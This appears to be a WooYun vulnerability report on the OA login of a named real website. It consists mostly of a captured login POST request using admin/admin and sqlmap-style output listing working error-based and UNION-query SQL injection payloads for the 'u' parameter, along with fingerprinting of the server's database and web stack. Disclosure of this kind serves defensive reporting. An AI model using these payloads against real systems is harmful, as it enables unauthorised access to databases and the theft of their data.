WooYun.org

http://www.jgsteel.cn/oa/

POST /services/eipajax.aspx?r=0.3453643461689353 HTTP/1.1
Host: www.jgsteel.cn
Proxy-Connection: keep-alive
Content-Length: 51
Accept: */*
Origin: http://www.jgsteel.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.jgsteel.cn/oa/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: BackURL=%2fsso%2fconnectoa.aspx
a=loginsystem&u=admin&p=admin&backUrl=&appSystem=OA

---
Parameter: u (POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: a=loginsystem&u=admin') AND 1932=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(98)+CHAR(
118)+CHAR(113)+(SELECT (CASE WHEN (1932=1932) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+
CHAR(120)+CHAR(98)+CHAR(113))) AND ('npaG'='npaG&p=admin&backUrl=&appSystem=OA
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: a=loginsystem&u=admin') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+C
HAR(98)+CHAR(118)+CHAR(113)+CHAR(109)+CHAR(67)+CHAR(85)+CHAR(115)+CHAR(105)+CHAR(102)+CHAR(122)+CHAR
(83)+CHAR(80)+CHAR(83)+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113),NULL,NULL,NULL-- &p=admin&ba
ckUrl=&appSystem=OA
---
[16:33:27] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008